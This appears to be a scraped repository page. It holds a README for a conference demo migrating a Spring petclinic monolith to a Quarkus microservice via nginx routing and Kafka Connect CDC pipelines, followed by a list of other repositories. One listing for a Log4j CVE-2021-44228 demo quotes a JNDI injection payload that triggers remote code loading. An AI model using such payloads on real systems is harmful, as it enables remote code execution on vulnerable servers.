Demo Repo for our CDC-based Strangler Fig Pattern Session @ VoxxedDays Romania 2021

Overview

Strangler Fig Pattern Demo

Build applications

Before being able to spin up the docker-compose based demo environment please make sure to successfully build all three projects - an old legacy version of the petclinic monolith based on Spring 3, the Apache Kafka Streams application and the owner microservice powered by Quarkus:

./build-applications.sh

Run with Docker

Spin up the demo environment by means of Docker compose:

docker-compose up

Strangler Fig Proxy

This demo uses nginx and depending on the request, routes either towards the petclinic monolith or the extracted owner microservice.

  1. The proxy serves a static index page at http://localhost just to verify it's up and running.

  2. The initial proxy configuration - see docker/.config/nginx/nginx_initial.conf - routes all requests starting with http://localhost/petclinic to the monolithic application.

  3. As a first adaption, the proxy is reconfigured - see docker/.config/nginx/nginx_read.conf - to route a specific read request i.e. the owner search from the monolith to the corresponding owner microservice.

NOTE: In order for this to work the CDC setup (from monolith -> microservice) needs to be configured properly based on Apache Kafka Connect (see below)

  1. As a second adaption, the proxy is reconfigured - see docker/.config/nginx/nginx_initial.conf - to route owner edit requests to the owner microservice as well.

NOTE: In order for this to work the CDC setup (from microservice -> monolith) needs to be configured properly based on Apache Kafka Connect (see below)

Proxy Reconfiguration

With the docker compose stack up and running, the proxy can be reconfigured by running the following simple script with one of 3 supported parameters:

./proxy_config.sh initial | read | read_write

Apache Kafka Connect Setup for CDC Pipelines

CDC from monolith (MySQL) -> microservice (MongoDB)

  1. Create MySQL source connector for owners + pets tables:
http POST http://localhost:8083/connectors/ < register-mysql-source-owners-pets.json
  1. Create MongoDB sink connector for pre-joined owner with pets aggregates:
http POST http://localhost:8083/connectors/ < register-mongodb-sink-owners-pets.json

Apache Kafka Connect Setup for CDC Pipelines

CDC from microservice (MongoDB) -> monolith (MySQL)

  1. Before processing writes for owner data at the microservice in MongoDB, update the MySQL source connector from the monolith database to ignore changes happening in the owners table. Otherwise we would try to do CDC for the same data from both sides which would lead to a propagation cycle.
http PUT http://localhost:8083/connectors/petclinic-owners-pets-mysql-src-001/config < update-mysql-source-owners-pets.json
  1. Create MongoDB source connector to capture data changes in the microservice's data store
http POST http://localhost:8083/connectors/ < register-mongodb-source-owners.json
  1. Create MySQL JDBC sink connector to propagate changes from the microservice into the monolith's database
http POST http://localhost:8083/connectors/ < register-jdbc-mysql-sink-owners.json

Consume messages from CDC-related Apache Kafka topics

docker run --tty --rm \
    --network voxxedromania21-sfp-demo_default \
    debezium/tooling:1.1 \
    kafkacat -b kafka:9092 -C -t mysql1.petclinic.owners -o beginning -q | jq .
docker run --tty --rm \
    --network voxxedromania21-sfp-demo_default \
    debezium/tooling:1.1 \
    kafkacat -b kafka:9092 -C -t mysql1.petclinic.pets -o beginning -q | jq .
docker run --tty --rm \
    --network voxxedromania21-sfp-demo_default \
    debezium/tooling:1.1 \
    kafkacat -b kafka:9092 -C -t kstreams.owners-with-pets -o beginning -q | jq .
docker run --tty --rm \
   --network voxxedromania21-sfp-demo_default \
   debezium/tooling:1.1 \
   kafkacat -b kafka:9092 -C -t mongodb.petclinic.kstreams.owners-with-pets -o beginning -q | jq .
You might also like...

Served as the team leader to collaborate with another intern for a project and drew up our working schedule

Served as the team leader to collaborate with another intern for a project and drew up our working schedule

Served as the team leader to collaborate with another intern for a project and drew up our working schedule, risk management plan, quality control plan, configuration management plan, etc Compiled codes for the front end and back end, composed the development documentation and explored SSM structure and MyBatis structure.

Jan 17, 2022

This project shows how to configure basic auth to secure our rest API and basic transaction on Data JPA

This project shows how to configure basic auth to secure our rest API and basic transaction on Data JPA

Basic Atuthentication Spring Boot Data JPA, MySQL This project shows how to configure basic auth to secure our rest API and basic transaction on Data

Feb 10, 2022

Cosmic Ink is a transcript application which was built with the help of Symbl AI and At Sign platform for back-end to store our data and authenticate

Cosmic-Ink Cosmic Ink is a transcript application which was built with the help of Symbl AI and At Sign platform for back-end to store our data and au

Dec 1, 2022

Compiler that compiles our language flowg to g-code (4th semester project)

flowg FlowG is a language that greatly simplifies manual g-code programming. It is a high-level language that supports functions, for loops, if statem

Jun 15, 2022

Netheopoiesis is our entry to the Slimefun Addon Jam 2022. Created by Sefiraat and J3fftw

Netheopoiesis Netheopoiesis is our entry to the Slimefun Addon Jam 2022. Created by Sefiraat and J3fftw This addon has three main aims: To bring life

Jun 16, 2022

Representational State Transfer + Structured Query Language(RSQL): Demo application using RSQL parser to filter records based on provided condition(s)

Representational State Transfer + Structured Query Language: RSQL Demo application using RSQL parser to filter records based on provided condition(s)

Nov 23, 2022

A simple and scalable Android bot emulation framework, as presented at Black Hat Europe 2021's Arsenal, as well as atHack 2021's Arsenal

m3 A simple and scalable Android bot emulation framework. A detailed explanation can be found here. This project was first published at Black Hat Euro

Aug 20, 2022

Geektime Todo is a demo todo project for Geektime column.

Geektime Todo 简介 这是《极客时间》专栏的 Todo 项目示例。 基本用法 生成 IDEA 工程 ./gradlew idea 检查 ./gradlew check 数据库迁移 ./gradlew flywayMigrate 生成构建产物 ./gradlew build 生成发布包 对

Oct 20, 2022

A demo shopping cart Java Akka Serverless

shopping-cart-java-akka-serverless This project is an Akka Serverless service that demonstrates a simple shopping cart implemented as an Akka Serverle

Dec 3, 2021
Owner
Hans-Peter Grahsl
SW Engineer, Trainer, Consultant, Speaker & Ex-Lecturer - compensating with sportive activities. Proud husband, lion-hearted dad + Nespresso aficionado.
Hans-Peter Grahsl
source code of the live coding demo for "Building resilient and scalable API backends with Apache Pulsar and Spring Reactive" talk held at ApacheCon@Home 2021

reactive-iot-backend The is the source code of the live coding demo for "Building resilient and scalable API backends with Apache Pulsar and Spring Re

Lari Hotari 4 Jan 13, 2022
Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP

CVE-2021-44228-Demo 利用 CVE-2021-44228,通过 RMI 和 LDAP 两种方式远程注入代码的示例。 Exploit class from RMI Server loaded Hello, ${jndi:rmi://127.0.0.1:1099/exploit} Ex

Zhuang Ma 2 Dec 14, 2021
A short demo of CVE-2021-44228

sample-ldap-exploit A short demo of CVE-2021-44228 Build $ mvn clean verify Run Attacker $ java \ -cp 'attacker/target/sample-attacker.jar:attacker

Philip Oswald 6 Oct 19, 2022
Small example repo for looking into log4j CVE-2021-44228

log4j CVE-2021-44228 Lame useless repo to look into log4j CVE-2021-44228. Setup The repository contains a .idea/ folder which is a IntelliJ IDEA proje

null 65 Dec 13, 2022
Spring Boot DTO Example Tutorial | Data Transfer Object Pattern

springboot-dto-tutorial Spring Boot DTO Example Tutorial | Data Transfer Object Pattern at https://youtu.be/THv-TI1ZNMk Spring Boot DTO Tutorial - Ent

Ramesh Fadatare 20 Nov 16, 2022
Saga pattern with Java => order -> payment -> stock microservices are ready to use

Order_Payment_Stock_Saga_Pattern Saga pattern with Java => order -> payment -> stock microservices are ready to use Docker-compose.yaml You can see th

Gurkan İlleez 5 Dec 27, 2022
Human Resource Management Application on JavaFX using MVC Design Pattern

Human-Resource-Management-System-with-JFoenix Human Resource Management Application on JavaFX using MVC Design Pattern Built With Java JavaFX - FXML C

Bahadır Ünal 0 Mar 18, 2022
G&C (Good & Cheap) is a web application with the objective of ensuring sustainable consumption and production patterns in our cities.

MUBISOFT ECO Table of Contents G&C, Keep It Fresh! Sustainable Development Goals Application Requirements G&C, Keep It Fresh! G&C (Good & Cheap) is a

null 4 May 2, 2022
Create your Java crypto trading bot in minutes. Our Spring boot starter takes care of exchange connections, accounts, orders, trades, and positions so you can focus on building your strategies.

Quick Start | Documentation | Discord | Twitter Create and run your java crypto trading bot in minutes Our Spring boot starter takes care of exchange

Cassandre 442 Jan 3, 2023
Robot Application for void, our 2022 Robot for FIRST Rapid React

void TODO insert cool void logo here Robot Application for void, our 2022 Robot for FIRST Rapid React Building To build the application locally, run .

FRC Team #862, Lightning Robotics 9 Apr 4, 2022